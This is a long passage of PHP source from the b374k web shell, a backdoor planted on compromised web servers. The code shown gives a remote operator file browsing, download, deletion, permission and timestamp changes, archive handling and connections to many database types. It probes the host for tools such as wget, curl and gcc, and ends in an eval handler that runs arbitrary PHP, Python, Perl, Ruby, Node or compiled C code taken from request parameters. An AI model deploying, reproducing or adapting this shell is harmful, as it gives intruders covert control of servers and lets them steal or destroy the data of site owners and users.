  709. $s_buff .= "&lt;tr&gt;&lt;td style='text-align:center;text-indent:4px;'&gt;".$s_cboxes."&lt;/td&gt;&lt;td class='xpl' title='".$s_lnametit."' ondblclick=\"return go('".adds($s_lhref)."',event);\"&gt;&lt;a href='".$s_lhref."'&gt;".$s_lname."&lt;/a&gt;&lt;/td&gt;&lt;td title='".$s_lsizetit."'&gt;".$s_lsize."&lt;/td&gt;".$s_owner_html."&lt;td class='ce'&gt;".gp($s_l)."&lt;/td&gt;&lt;td class='ce' title='".$s_ltime."'&gt;".@date("d-M-Y H:i:s",$s_ltime)."&lt;/td&gt;&lt;td&gt;".$s_laction."&lt;/td&gt;&lt;/tr&gt;";
  710. }
  711. $s_buff .= "&lt;/tbody&gt;";
  712.  
  713. $s_extract = ""; $s_compress = "";
  714. if(class_exists("ZipArchive")){
  715. $s_extract .= "&lt;option value='extractzip'&gt;extract (zip)&lt;/option&gt;";
  716. $s_compress .= "&lt;option value='compresszip'&gt;compress (zip)&lt;/option&gt;";
  717. }
  718. if($s_tar){
  719. $s_extract .= "&lt;option value='extracttar'&gt;extract (tar)&lt;/option&gt;&lt;option value='extracttargz'&gt;extract (tar.gz)&lt;/option&gt;";
  720. $s_compress .="&lt;option value='compresstar'&gt;compress (tar)&lt;/option&gt;&lt;option value='compresstargz'&gt;compress (tar.gz)&lt;/option&gt;";
  721. }
  722.  
  723. $s_extcom = ($s_extract!="" &amp;&amp; $s_compress!="")? $s_extract."&lt;option value='' disabled&gt;-&lt;/option&gt;".$s_compress:$s_extract.$s_compress;
  724.  
  725. $s_buff .= "&lt;tfoot&gt;&lt;tr class='cbox_selected'&gt;&lt;td class='cbox_all'&gt;&lt;input id='checkalll' type='checkbox' name='abox' class='css-checkbox' onclick='checkall();' /&gt; &lt;label for='checkalll' class='css-label'&gt;&lt;/label&gt;&lt;/td&gt;&lt;td&gt;&lt;form action='".$s_self."' method='post'&gt;&lt;select id='massact' class='inputzbut' onchange='massactgo();' style='width:100%;height:20px;margin:0;'&gt;&lt;option value='' disabled selected&gt;Action&lt;/option&gt;&lt;option value='cut'&gt;cut&lt;/option&gt;&lt;option value='copy'&gt;copy&lt;/option&gt;&lt;option value='paste'&gt;paste&lt;/option&gt;&lt;option value='delete'&gt;delete&lt;/option&gt;&lt;option value='' disabled&gt;-&lt;/option&gt;&lt;option value='chmod'&gt;chmod&lt;/option&gt;&lt;option value='touch'&gt;touch&lt;/option&gt;&lt;option value='' disabled&gt;-&lt;/option&gt;".$s_extcom."&lt;/select&gt;&lt;noscript&gt;&lt;input type='button' value='Go !' class='inputzbut' onclick='massactgo();' /&gt;&lt;/noscript&gt;&lt;/form&gt;&lt;/td&gt;&lt;td colspan='".$s_colspan."' style='text-align:left;'&gt;Total : ".$s_total_file." files, ".$s_total_dir." Directories&lt;span id='total_selected'&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tfoot&gt;&lt;/table&gt;";
  726.  
  727. return $s_buff;
  728. }
  729. //database related functions
  730. function sql_connect($s_sqltype, $s_sqlhost, $s_sqluser, $s_sqlpass){
  731. if($s_sqltype == 'mysql'){
  732. if(class_exists('mysqli')) return new mysqli($s_sqlhost, $s_sqluser, $s_sqlpass);
  733. elseif(function_exists('mysql_connect')) return @mysql_connect($s_sqlhost, $s_sqluser, $s_sqlpass);
  734. }
  735. elseif($s_sqltype == 'mssql'){
  736. if(function_exists('sqlsrv_connect')){
  737. $s_coninfo = array("UID"=&gt;$s_sqluser, "PWD"=&gt;$s_sqlpass);
  738. return @sqlsrv_connect($s_sqlhost,$s_coninfo);
  739. }
  740. elseif(function_exists('mssql_connect')) return @mssql_connect($s_sqlhost, $s_sqluser, $s_sqlpass);
  741. }
  742. elseif($s_sqltype == 'pgsql'){
  743. $s_hosts = explode(":", $s_sqlhost);
  744. if(count($s_hosts)==2){
  745. $s_host_str = "host=".$s_hosts[0]." port=".$s_hosts[1];
  746. }
  747. else $s_host_str = "host=".$s_sqlhost;
  748. if(function_exists('pg_connect')) return @pg_connect("$s_host_str user=$s_sqluser password=$s_sqlpass");
  749. }
  750. elseif($s_sqltype == 'oracle'){ if(function_exists('oci_connect')) return @oci_connect($s_sqluser, $s_sqlpass, $s_sqlhost); }
  751. elseif($s_sqltype == 'sqlite3'){
  752. if(class_exists('SQLite3')) if(!empty($s_sqlhost)) return new SQLite3($s_sqlhost);
  753. else return false;
  754. }
  755. elseif($s_sqltype == 'sqlite'){ if(function_exists('sqlite_open')) return @sqlite_open($s_sqlhost); }
  756. elseif($s_sqltype == 'odbc'){ if(function_exists('odbc_connect')) return @odbc_connect($s_sqlhost, $s_sqluser, $s_sqlpass); }
  757. elseif($s_sqltype == 'pdo'){
  758. if(class_exists('PDO')) if(!empty($s_sqlhost)) return new PDO($s_sqlhost, $s_sqluser, $s_sqlpass);
  759. else return false;
  760. }
  761. return false;
  762. }
  763. function sql_query($s_sqltype, $s_query, $s_con){
  764. if($s_sqltype == 'mysql'){
  765. if(class_exists('mysqli')) return $s_con-&gt;query($s_query);
  766. elseif(function_exists('mysql_query')) return mysql_query($s_query);
  767. }
  768. elseif($s_sqltype == 'mssql'){
  769. if(function_exists('sqlsrv_query')) return sqlsrv_query($s_con,$s_query);
  770. elseif(function_exists('mssql_query')) return mssql_query($s_query);
  771. }
  772. elseif($s_sqltype == 'pgsql') return pg_query($s_query);
  773. elseif($s_sqltype == 'oracle') return oci_execute(oci_parse($s_con, $s_query));
  774. elseif($s_sqltype == 'sqlite3') return $s_con-&gt;query($s_query);
  775. elseif($s_sqltype == 'sqlite') return sqlite_query($s_con, $s_query);
  776. elseif($s_sqltype == 'odbc') return odbc_exec($s_con, $s_query);
  777. elseif($s_sqltype == 'pdo') return $s_con-&gt;query($s_query);
  778. }
  779. function sql_num_rows($s_sqltype,$s_hasil){
  780. if($s_sqltype == 'mysql'){
  781. if(class_exists('mysqli_result')) return $s_hasil-&gt;mysqli_num_rows;
  782. elseif(function_exists('mysql_num_rows')) return mysql_num_rows($s_hasil);
  783. }
  784. elseif($s_sqltype == 'mssql'){
  785. if(function_exists('sqlsrv_num_rows')) return sqlsrv_num_rows($s_hasil);
  786. elseif(function_exists('mssql_num_rows')) return mssql_num_rows($s_hasil);
  787. }
  788. elseif($s_sqltype == 'pgsql') return pg_num_rows($s_hasil);
  789. elseif($s_sqltype == 'oracle') return oci_num_rows($s_hasil);
  790. elseif($s_sqltype == 'sqlite3'){
  791. $s_metadata = $s_hasil-&gt;fetchArray();
  792. if(is_array($s_metadata)) return $s_metadata['count'];
  793. }
  794. elseif($s_sqltype == 'sqlite') return sqlite_num_rows($s_hasil);
  795. elseif($s_sqltype == 'odbc') return odbc_num_rows($s_hasil);
  796. elseif($s_sqltype == 'pdo') return $s_hasil-&gt;rowCount();
  797. }
  798. function sql_num_fields($s_sqltype, $s_hasil){
  799. if($s_sqltype == 'mysql'){
  800. if(class_exists('mysqli_result')) return $s_hasil-&gt;field_count;
  801. elseif(function_exists('mysql_num_fields')) return mysql_num_fields($s_hasil);
  802. }
  803. elseif($s_sqltype == 'mssql'){
  804. if(function_exists('sqlsrv_num_fields')) return sqlsrv_num_fields($s_hasil);
  805. elseif(function_exists('mssql_num_fields')) return mssql_num_fields($s_hasil);
  806. }
  807. elseif($s_sqltype == 'pgsql') return pg_num_fields($s_hasil);
  808. elseif($s_sqltype == 'oracle') return oci_num_fields($s_hasil);
  809. elseif($s_sqltype == 'sqlite3') return $s_hasil-&gt;numColumns();
  810. elseif($s_sqltype == 'sqlite') return sqlite_num_fields($s_hasil);
  811. elseif($s_sqltype == 'odbc') return odbc_num_fields($s_hasil);
  812. elseif($s_sqltype == 'pdo') return $s_hasil-&gt;columnCount();
  813. }
  814. function sql_field_name($s_sqltype,$s_hasil,$s_i){
  815. if($s_sqltype == 'mysql'){
  816. if(class_exists('mysqli_result')) { $z=$s_hasil-&gt;fetch_field();return $z-&gt;name;}
  817. elseif(function_exists('mysql_field_name')) return mysql_field_name($s_hasil,$s_i);
  818. }
  819. elseif($s_sqltype == 'mssql'){
  820. if(function_exists('sqlsrv_field_metadata')){
  821. $s_metadata = sqlsrv_field_metadata($s_hasil);
  822. if(is_array($s_metadata)){
  823. $s_metadata=$s_metadata[$s_i];
  824. }
  825. if(is_array($s_metadata)) return $s_metadata['Name'];
  826. }
  827. elseif(function_exists('mssql_field_name')) return mssql_field_name($s_hasil,$s_i);
  828. }
  829. elseif($s_sqltype == 'pgsql') return pg_field_name($s_hasil,$s_i);
  830. elseif($s_sqltype == 'oracle') return oci_field_name($s_hasil,$s_i+1);
  831. elseif($s_sqltype == 'sqlite3') return $s_hasil-&gt;columnName($s_i);
  832. elseif($s_sqltype == 'sqlite') return sqlite_field_name($s_hasil,$s_i);
  833. elseif($s_sqltype == 'odbc') return odbc_field_name($s_hasil,$s_i+1);
  834. elseif($s_sqltype == 'pdo'){
  835. $s_res = $s_hasil-&gt;getColumnMeta($s_i);
  836. return $s_res['name'];
  837. }
  838. }
  839. function sql_fetch_data($s_sqltype,$s_hasil){
  840. if($s_sqltype == 'mysql'){
  841. if(class_exists('mysqli_result')) return $s_hasil-&gt;fetch_row();
  842. elseif(function_exists('mysql_fetch_row')) return mysql_fetch_row($s_hasil);
  843. }
  844. elseif($s_sqltype == 'mssql'){
  845. if(function_exists('sqlsrv_fetch_array')) return sqlsrv_fetch_array($s_hasil,1);
  846. elseif(function_exists('mssql_fetch_row')) return mssql_fetch_row($s_hasil);
  847. }
  848. elseif($s_sqltype == 'pgsql') return pg_fetch_row($s_hasil);
  849. elseif($s_sqltype == 'oracle') return oci_fetch_row($s_hasil);
  850. elseif($s_sqltype == 'sqlite3') return $s_hasil-&gt;fetchArray(1);
  851. elseif($s_sqltype == 'sqlite') return sqlite_fetch_array($s_hasil,1);
  852. elseif($s_sqltype == 'odbc') return odbc_fetch_array($s_hasil);
  853. elseif($s_sqltype == 'pdo') return $s_hasil-&gt;fetch(2);
  854. }
  855. function sql_close($s_sqltype,$s_con){
  856. if($s_sqltype == 'mysql'){
  857. if(class_exists('mysqli')) return $s_con-&gt;close();
  858. elseif(function_exists('mysql_close')) return mysql_close($s_con);
  859. }
  860. elseif($s_sqltype == 'mssql'){
  861. if(function_exists('sqlsrv_close')) return sqlsrv_close($s_con);
  862. elseif(function_exists('mssql_close')) return mssql_close($s_con);
  863. }
  864. elseif($s_sqltype == 'pgsql') return pg_close($s_con);
  865. elseif($s_sqltype == 'oracle') return oci_close($s_con);
  866. elseif($s_sqltype == 'sqlite3') return $s_con-&gt;close();
  867. elseif($s_sqltype == 'sqlite') return sqlite_close($s_con);
  868. elseif($s_sqltype == 'odbc') return odbc_close($s_con);
  869. elseif($s_sqltype == 'pdo') return $s_con = null;
  870. }
  871. if(!function_exists('str_split')){
  872. function str_split($s_t,$s_s=1){
  873. $s_a = array();
  874. for($s_i = 0; $s_i&lt;strlen($s_t);){
  875. $s_a[] = substr($s_t,$s_i,$s_s);
  876. $s_i += $s_s;
  877. }
  878. return $s_a;
  879. }
  880. }
  881.  
  882. // appearance
  883. $s_theme = "dark"; // default is dark
  884. if(isset($_COOKIE['theme'])) $s_theme = $_COOKIE['theme'];
  885. if(isset($_GP['x']) &amp;&amp; ($_GP['x']=='switch')){
  886. if(isset($_COOKIE['theme'])) $s_theme = $_COOKIE['theme'];
  887. if($s_theme=="bright") $s_theme = "dark";
  888. else $s_theme = "bright";
  889. setcookie("theme", $s_theme ,time() + $s_login_time);
  890. }
  891. $s_highlight_dark = array("4C9CAF", "888888", "87DF45", "EEEEEE" , "FF8000");
  892. $s_highlight_bright = array("B36350", "777777", "7820BA", "111111" , "007FFF");
  893.  
  894. global $s_self, $s_win, $s_posix;
  895.  
  896. $s_self = "?";
  897. $s_cek1 = basename($_SERVER['SCRIPT_FILENAME']);
  898. $s_cek2 = substr(basename(__FILE__),0,strlen($s_cek1));
  899.  
  900. if(isset($_COOKIE['b374k_included'])){
  901. if(strcmp($s_cek1,$s_cek2)!=0) $s_self = $_COOKIE['s_self'];
  902. else{
  903. $s_self = "?";
  904. setcookie("b374k_included", "0" ,time() - $s_login_time);
  905. setcookie("s_self", $s_self ,time() + $s_login_time);
  906. }
  907. }
  908. else{
  909. if(strcmp($s_cek1,$s_cek2)!=0){
  910. if(!isset($_COOKIE['s_home'])){
  911. $s_home = "?".$_SERVER["QUERY_STRING"]."&amp;";
  912. setcookie("s_home", $s_home ,time() + $s_login_time);
  913. }
  914. if(isset($s_home)) $s_self = $s_home;
  915. elseif(isset($_COOKIE['s_home'])) $s_self = $_COOKIE['s_home'];
  916. setcookie("b374k_included", "1" ,time() + $s_login_time);
  917. setcookie("s_self", $s_self ,time() + $s_login_time);
  918. }
  919. else{
  920. $s_self = "?";
  921. setcookie("b374k_included", "0" ,time() - $s_login_time);
  922. setcookie("s_self", $s_self ,time() + $s_login_time);
  923. }
  924. }
  925. $s_cwd = "";
  926.  
  927. if(isset($_GP['|'])) showcode($s_css);
  928. elseif(isset($_GP['!'])) showcode($s_js);
  929.  
  930. if($s_auth){
  931. // server software
  932. $s_software = getenv("SERVER_SOFTWARE");
  933. // uname -a
  934. $s_system = php_uname();
  935. // check os
  936. $s_win = (strtolower(substr($s_system,0,3)) == "win")? true : false;
  937. // check for posix
  938. $s_posix = (function_exists("posix_getpwuid"))? true : false;
  939. // change working directory
  940. if(isset($_GP['cd'])){
  941. $s_dd = $_GP['cd'];
  942. if(@is_dir($s_dd)){
  943. $s_cwd = cp($s_dd);
  944. chdir($s_cwd);
  945. setcookie("cwd", $s_cwd ,time() + $s_login_time);
  946. }
  947. else $s_cwd = isset($_COOKIE['cwd'])? cp($_COOKIE['cwd']):cp(getcwd());;
  948. }
  949. else{
  950. if(isset($_COOKIE['cwd'])){
  951. $s_dd = ss($_COOKIE['cwd']);
  952. if(@is_dir($s_dd)){
  953. $s_cwd = cp($s_dd);
  954. chdir($s_cwd);
  955. }
  956. }
  957. else $s_cwd = cp(getcwd());
  958. }
  959.  
  960. if(!$s_win &amp;&amp; $s_posix){
  961. $s_userarr = posix_getpwuid(posix_geteuid());
  962. if(isset($s_userarr['name'])) $s_user = $s_userarr['name'];
  963. else $s_user = "$";
  964. }
  965. else {
  966. $s_user = get_current_user();
  967. }
  968.  
  969. // prompt style
  970. $s_prompt = $s_user." &amp;gt;";
  971. // server ip
  972. $s_server_ip = gethostbyname($_SERVER["HTTP_HOST"]);
  973. // your ip ;-)
  974. $s_my_ip = $_SERVER['REMOTE_ADDR'];
  975. $s_result = "";
  976.  
  977. global $s_python, $s_perl, $s_ruby, $s_node, $s_nodejs, $s_gcc, $s_java, $s_javac, $s_tar, $s_wget, $s_lwpdownload, $s_lynx, $s_curl;
  978.  
  979. $s_access = array("s_python", "s_perl", "s_ruby", "s_node", "s_nodejs", "s_gcc", "s_java", "s_javac", "s_tar", "s_wget", "s_lwpdownload", "s_lynx", "s_curl");
  980. foreach($s_access as $s){
  981. if(isset($_COOKIE[$s])){ $$s = $_COOKIE[$s]; }
  982. else{
  983. if(!isset($_COOKIE['b374k'])){
  984. $t = explode("_", $s);
  985. $t = check_access($t[1]);
  986. if($t!==false){
  987. $$s = $t;
  988. setcookie($s, $$s ,time() + $s_login_time);
  989. }
  990. }
  991. }
  992. }
  993.  
  994. // download file specified by ?dl=&lt;file&gt;
  995. if(isset($_GP['dl']) &amp;&amp; ($_GP['dl'] != "")){
  996. ob_end_clean();
  997. $f = $_GP['dl'];
  998. $fc = fgc($f);
  999. header("Content-type: application/octet-stream");
  1000. header("Content-length: ".strlen($fc));
  1001. header("Content-disposition: attachment; filename=\"".basename($f)."\";");
  1002. echo $fc;
  1003. die();
  1004. }
  1005. // massact
  1006. if(isset($_GP['z'])){
  1007. $s_massact = isset($_COOKIE['massact'])? $_COOKIE['massact']:"";
  1008. $s_buffer = isset($_COOKIE['buffer'])? rtrim(ss($_COOKIE['buffer']),"|"):"";
  1009. $s_lists = explode("|", $s_buffer);
  1010.  
  1011. $s_counter = 0;
  1012. if(!empty($s_buffer)){
  1013. if($_GP['z']=='moveok'){
  1014. foreach($s_lists as $s_l) if(rename($s_l,$s_cwd.basename($s_l))) $s_counter++;
  1015. if($s_counter&gt;0) $s_result .= notif($s_counter." items moved");
  1016. else $s_result .= notif("No items moved");
  1017. }
  1018. elseif($_GP['z']=='copyok'){
  1019. foreach($s_lists as $s_l){
  1020. if(@is_dir($s_l)){
  1021. copys($s_l,$s_cwd.basename($s_l));
  1022. if(file_exists($s_cwd.basename($s_l))) $s_counter++;
  1023. }
  1024. elseif(@is_file($s_l)){
  1025. copy($s_l,$s_cwd.basename($s_l));
  1026. if(file_exists($s_cwd.basename($s_l))) $s_counter++;
  1027. }
  1028. }
  1029. if($s_counter&gt;0) $s_result .= notif($s_counter." items copied");
  1030. else $s_result .= notif("No items copied");
  1031. }
  1032. elseif($_GP['z']=='delok'){
  1033. foreach($s_lists as $s_l){
  1034. if(@is_file($s_l)){
  1035. if(unlink($s_l)) $s_counter++;
  1036. }
  1037. elseif(@is_dir($s_l)){
  1038. rmdirs($s_l);
  1039. if(!file_exists($s_l)) $s_counter++;
  1040. }
  1041. }
  1042. if($s_counter&gt;0) $s_result .= notif($s_counter." items deleted");
  1043. else $s_result .= notif("No items deleted");
  1044. }
  1045. elseif(isset($_GP['chmodok'])){
  1046. $s_mod = octdec($_GP['chmodok']);
  1047. foreach($s_lists as $s_l) if(chmod($s_l,$s_mod)) $s_counter++;
  1048. if($s_counter&gt;0) $s_result .= notif($s_counter." items changed mode to ".decoct($s_mod));
  1049. else $s_result .= notif("No items modified");
  1050. }
  1051. elseif(isset($_GP['touchok'])){
  1052. $s_datenew = strtotime($_GP['touchok']);
  1053. foreach($s_lists as $s_l) if(touch($s_l,$s_datenew)) $s_counter++;
  1054. if($s_counter&gt;0) $s_result .= notif($s_counter." items changed access and modification time to ".@date("d-M-Y H:i:s",$s_datenew));
  1055. else $s_result .= notif("No items modified");
  1056. }
  1057. elseif(isset($_GP['compresszipok'])){
  1058. $s_file = $_GP['compresszipok'];
  1059. if(zip($s_lists, $s_file)) $s_result .= notif("Archive created : ".hss($s_file));
  1060. else $s_result .= notif("Error creating archive file");
  1061. }
  1062. elseif(isset($_GP['compresstarok'])){
  1063. $s_lists_ = array();
  1064. $s_file = $_GP['compresstarok'];
  1065. $s_file = basename($s_file);
  1066.  
  1067. $s_lists__ = array_map("basename", $s_lists);
  1068. $s_lists_ = array_map("pf", $s_lists__);
  1069. exe("tar cf \"".$s_file."\" ".implode(" ", $s_lists_));
  1070.  
  1071. if(@is_file($s_file)) $s_result .= notif("Archive created : ".hss($s_file));
  1072. else $s_result .= notif("Error creating archive file");
  1073. }
  1074. elseif(isset($_GP['compresstargzok'])){
  1075. $s_lists_ = array();
  1076. $s_file = $_GP['compresstargzok'];
  1077. $s_file = basename($s_file);
  1078.  
  1079. $s_lists__ = array_map("basename", $s_lists);
  1080. $s_lists_ = array_map("pf", $s_lists__);
  1081. exe("tar czf \"".$s_file."\" ".implode(" ", $s_lists_));
  1082.  
  1083. if(@is_file($s_file)) $s_result .= notif("Archive created : ".hss($s_file));
  1084. else $s_result .= notif("Error creating archive file");
  1085. }
  1086. elseif(isset($_GP['extractzipok'])){
  1087. $s_file = $_GP['extractzipok'];
  1088. $zip = new ZipArchive();
  1089. foreach($s_lists as $f){
  1090. $s_target = $s_file.basename($f,".zip");
  1091. if($zip-&gt;open($f)){
  1092. if(!@is_dir($s_target)) @mkdir($s_target);
  1093. if($zip-&gt;extractTo($s_target)) $s_result .= notif("Files extracted to ".hss($s_target));
  1094. else $s_result .= notif("Error extrating archive file");
  1095. $zip-&gt;close();
  1096. }
  1097. else $s_result .= notif("Error opening archive file");
  1098. }
  1099. }
  1100. elseif(isset($_GP['extracttarok'])){
  1101. $s_file = $_GP['extracttarok'];
  1102. foreach($s_lists as $f){
  1103. $s_target = "";
  1104. $s_target = basename($f,".tar");
  1105. if(!@is_dir($s_target)) @mkdir($s_target);
  1106. exe("tar xf \"".basename($f)."\" -C \"".$s_target."\"");
  1107. }
  1108. }
  1109. elseif(isset($_GP['extracttargzok'])){
  1110. $s_file = $_GP['extracttargzok'];
  1111. foreach($s_lists as $f){
  1112. $s_target = "";
  1113. if(strpos(strtolower($f), ".tar.gz")!==false) $s_target = basename($f,".tar.gz");
  1114. elseif(strpos(strtolower($f), ".tgz")!==false) $s_target = basename($f,".tgz");
  1115. if(!@is_dir($s_target)) @mkdir($s_target);
  1116. exe("tar xzf \"".basename($f)."\" -C \"".$s_target."\"");
  1117. }
  1118. }
  1119. }
  1120. setcookie("buffer", "" ,time() - $s_login_time);
  1121. setcookie("massact", "" ,time() - $s_login_time);
  1122. }
  1123. if(isset($_GP['y'])){
  1124. $s_massact = isset($_COOKIE['massact'])? $_COOKIE['massact']:"";
  1125. $s_buffer = isset($_COOKIE['buffer'])? rtrim(ss($_COOKIE['buffer']),"|"):"";
  1126. $s_lists = explode("|", $s_buffer);
  1127.  
  1128. if(!empty($s_buffer)){
  1129. if($_GP['y']=='delete'){
  1130. $s_result .= notif("Delete ? &lt;a href='".$s_self."z=delok"."'&gt;Yes&lt;/a&gt; | &lt;a href='".$s_self."'&gt;No&lt;/a&gt;");
  1131. foreach($s_lists as $s_l) $s_result .= notif($s_l);
  1132. }
  1133. elseif($_GP['y']=='paste' &amp;&amp; $s_massact=='cut'){
  1134. $s_result .= notif("Move here ? &lt;a href='".$s_self."z=moveok"."'&gt;Yes&lt;/a&gt; | &lt;a href='".$s_self."'&gt;No&lt;/a&gt;");
  1135. foreach($s_lists as $s_l) $s_result .= notif($s_l);
  1136. }
  1137. elseif($_GP['y']=='paste' &amp;&amp; $s_massact=='copy'){
  1138. $s_result .= notif("Copy here ? &lt;a href='".$s_self."z=copyok"."'&gt;Yes&lt;/a&gt; | &lt;a href='".$s_self."'&gt;No&lt;/a&gt;");
  1139. foreach($s_lists as $s_l) $s_result .= notif($s_l);
  1140. }
  1141. elseif($_GP['y']=='chmod'){
  1142. $s_result .= notif("Permissions ? &lt;form action='".$s_self."' method='post'&gt;&lt;input class='inputz' type='text' value='0755' name='chmodok' style='width:30px;text-align:center;' maxlength='4' /&gt;&lt;input class='inputzbut' name='z' type='submit' value='Go !' /&gt;&lt;/form&gt;");
  1143. foreach($s_lists as $s_l) $s_result .= notif($s_l);
  1144. }
  1145. elseif($_GP['y']=='touch'){
  1146. $s_result .= notif("Touch ? &lt;form action='".$s_self."' method='post'&gt;&lt;input class='inputz' type='text' value='".@date("d-M-Y H:i:s",time())."' name='touchok' style='width:130px;text-align:center;' /&gt;&lt;input class='inputzbut' name='z' type='submit' value='Go !' /&gt;&lt;/form&gt;");
  1147. foreach($s_lists as $s_l) $s_result .= notif($s_l);
  1148. }
  1149. elseif($_GP['y']=='extractzip'){
  1150. $s_result .= notif("Extract to ? &lt;form action='".$s_self."' method='post'&gt;&lt;input class='inputz' type='text' value='".hss($s_cwd)."' name='extractzipok' style='width:50%;' /&gt;&lt;input class='inputzbut' name='z' type='submit' value='Go !' /&gt;&lt;/form&gt;");
  1151. foreach($s_lists as $s_l) $s_result .= notif($s_l);
  1152. }
  1153. elseif($_GP['y']=='extracttar'){
  1154. $s_result .= notif("Extract to ? &lt;form action='".$s_self."' method='post'&gt;&lt;input class='inputz' type='text' value='".hss($s_cwd)."' name='extracttarok' style='width:50%;' /&gt;&lt;input class='inputzbut' name='z' type='submit' value='Go !' /&gt;&lt;/form&gt;");
  1155. foreach($s_lists as $s_l) $s_result .= notif($s_l);
  1156. }
  1157. elseif($_GP['y']=='extracttargz'){
  1158. $s_result .= notif("Extract to ? &lt;form action='".$s_self."' method='post'&gt;&lt;input class='inputz' type='text' value='".hss($s_cwd)."' name='extracttargzok' style='width:50%;' /&gt;&lt;input class='inputzbut' name='z' type='submit' value='Go !' /&gt;&lt;/form&gt;");
  1159. foreach($s_lists as $s_l) $s_result .= notif($s_l);
  1160. }
  1161. elseif($_GP['y']=='compresszip'){
  1162. $s_result .= notif("Compress to ? &lt;form action='".$s_self."' method='post'&gt;&lt;input class='inputz' type='text' value='".hss($s_cwd).substr(md5(time()),0,8).".zip' name='compresszipok' style='width:50%;' /&gt;&lt;input class='inputzbut' name='z' type='submit' value='Go !' /&gt;&lt;/form&gt;");
  1163. foreach($s_lists as $s_l) $s_result .= notif($s_l);
  1164. }
  1165. elseif($_GP['y']=='compresstar'){
  1166. $s_result .= notif("Compress to ? &lt;form action='".$s_self."' method='post'&gt;&lt;input class='inputz' type='text' value='".hss($s_cwd).substr(md5(time()),0,8).".tar' name='compresstarok' style='width:50%;' /&gt;&lt;input class='inputzbut' name='z' type='submit' value='Go !' /&gt;&lt;/form&gt;");
  1167. foreach($s_lists as $s_l) $s_result .= notif($s_l);
  1168. }
  1169. elseif($_GP['y']=='compresstargz'){
  1170. $s_result .= notif("Compress to ? &lt;form action='".$s_self."' method='post'&gt;&lt;input class='inputz' type='text' value='".hss($s_cwd).substr(md5(time()),0,8).".tar.gz' name='compresstargzok' style='width:50%;' /&gt;&lt;input class='inputzbut' name='z' type='submit' value='Go !' /&gt;&lt;/form&gt;");
  1171. foreach($s_lists as $s_l) $s_result .= notif($s_l);
  1172. }
  1173. }
  1174. }
  1175.  
  1176. // view image specified by ?img=&lt;file&gt;
  1177. if(isset($_GP['img'])){
  1178. ob_end_clean();
  1179. $s_d = isset($_GP['d'])? $_GP['d']:"";
  1180. $s_f = $_GP['img'];
  1181. $s_inf = @getimagesize($s_d.$s_f);
  1182. $s_ext = explode($s_f, ".");
  1183. $s_ext = $s_ext[count($s_ext)-1];
  1184. header("Content-type: ".$s_inf["mime"]);
  1185. header("Cache-control: public");
  1186. header("Expires: ".@date("r", @mktime(0,0,0,1,1,2030)));
  1187. header("Cache-control: max-age=".(60*60*24*7));#
  1188. readfile($s_d.$s_f);
  1189. die();
  1190. } // rename file or folder
  1191. elseif(isset($_GP['oldname']) &amp;&amp; isset($_GP['rename'])){
  1192. $s_old = $_GP['oldname'];
  1193. $s_new = $_GP['rename'];
  1194.  
  1195. $s_renmsg = "";
  1196. if(@is_dir($s_old)) $s_renmsg = (@rename($s_old, $s_new))? "Directory ".$s_old." renamed to ".$s_new : "Unable to rename directory ".$s_old." to ".$s_new;
  1197. elseif(@is_file($s_old)) $s_renmsg = (@rename($s_old, $s_new))? "File ".$s_old." renamed to ".$s_new : "Unable to rename file ".$s_old." to ".$s_new;
  1198. else $s_renmsg = "Cannot find the path specified ".$s_old;
  1199.  
  1200. $s_result .= notif($s_renmsg);
  1201. $s_fnew = $s_new;
  1202. } // confirm delete
  1203. elseif(!empty($_GP['del'])){
  1204. $s_del = trim($_GP['del']);
  1205. $s_result .= notif("Delete ".basename($s_del)." ? &lt;a href='".$s_self."delete=".pl($s_del)."'&gt;Yes&lt;/a&gt; | &lt;a href='".$s_self."'&gt;No&lt;/a&gt;");
  1206. } // delete file
  1207. elseif(!empty($_GP['delete'])){
  1208. $s_f = $_GP['delete'];
  1209. $s_delmsg = "";
  1210.  
  1211. if(@is_file($s_f)) $s_delmsg = (unlink($s_f))? "File removed : ".$s_f : "Unable to remove file ".$s_f;
  1212. elseif(@is_dir($s_f)){
  1213. rmdirs($s_f);
  1214. $s_delmsg = (@is_dir($s_f))? "Unable to remove directory ".$s_f : "Directory removed : ".$s_f;
  1215. }
  1216. else $s_delmsg = "Cannot find the path specified ".$s_f;
  1217. $s_result .= notif($s_delmsg);
  1218. } // create dir
  1219. elseif(!empty($_GP['mkdir'])){
  1220. $s_f = $s_cwd.$_GP['mkdir'];
  1221. $s_dirmsg = "";
  1222.  
  1223. $s_num = 1;
  1224. if(@is_dir($s_f)){
  1225. $s_pos = strrpos($s_f,"_");
  1226. if($s_pos!==false) $s_num = (int) substr($s_f, $s_pos+1);
  1227. while(@is_dir(substr($s_f, 0, $s_pos)."_".$s_num)){
  1228. $s_num++;
  1229. }
  1230. $s_f = substr($s_f, 0, $s_pos)."_".$s_num;
  1231. }
  1232. if(mkdir($s_f)) $s_dirmsg = "Directory created ".$s_f;
  1233. else $s_dirmsg = "Unable to create directory ".$s_f;
  1234.  
  1235. $s_result .= notif($s_dirmsg);
  1236. } // php eval() function
  1237. if(isset($_GP['x']) &amp;&amp; ($_GP['x']=='eval')){
  1238. $s_code = "";
  1239. $s_res = "";
  1240. $s_evaloption = "";
  1241. $s_lang = "php";
  1242.  
  1243. if(isset($_GP['evalcode'])){
  1244. $s_code = $_GP['evalcode'];
  1245. $s_evaloption = (isset($_GP['evaloption']))? $_GP['evaloption']:"";
  1246. $s_tmpdir = get_writabledir();
  1247.  
  1248. if(isset($_GP['lang'])){$s_lang = $_GP['lang'];}
  1249.  
  1250. if(strtolower($s_lang)=='php'){
  1251. ob_start();
  1252. eval($s_code);
  1253. $s_res = ob_get_contents();
  1254. ob_end_clean();
  1255. }
  1256. elseif(strtolower($s_lang)=='python'||strtolower($s_lang)=='perl'||strtolower($s_lang)=='ruby'||strtolower($s_lang)=='node'||strtolower($s_lang)=='nodejs'){
  1257. $s_rand = md5(time().rand(0,100));
  1258. $s_script = $s_tmpdir.$s_rand;
  1259. if(file_put_contents($s_script, $s_code)!==false){
  1260. $s_res = exe($s_lang." ".$s_evaloption." ".$s_script);
  1261. unlink($s_script);
  1262. }
  1263. }
  1264. elseif(strtolower($s_lang)=='gcc'){
  1265. $s_script = md5(time().rand(0,100));
  1266. chdir($s_tmpdir);
  1267. if(file_put_contents($s_script.".c", $s_code)!==false){
  1268. $s_scriptout = $s_win ? $s_script.".exe" : $s_script;
  1269. $s_res = exe("gcc ".$s_script.".c -o ".$s_scriptout.$s_evaloption);
  1270. if(@is_file($s_scriptout)){
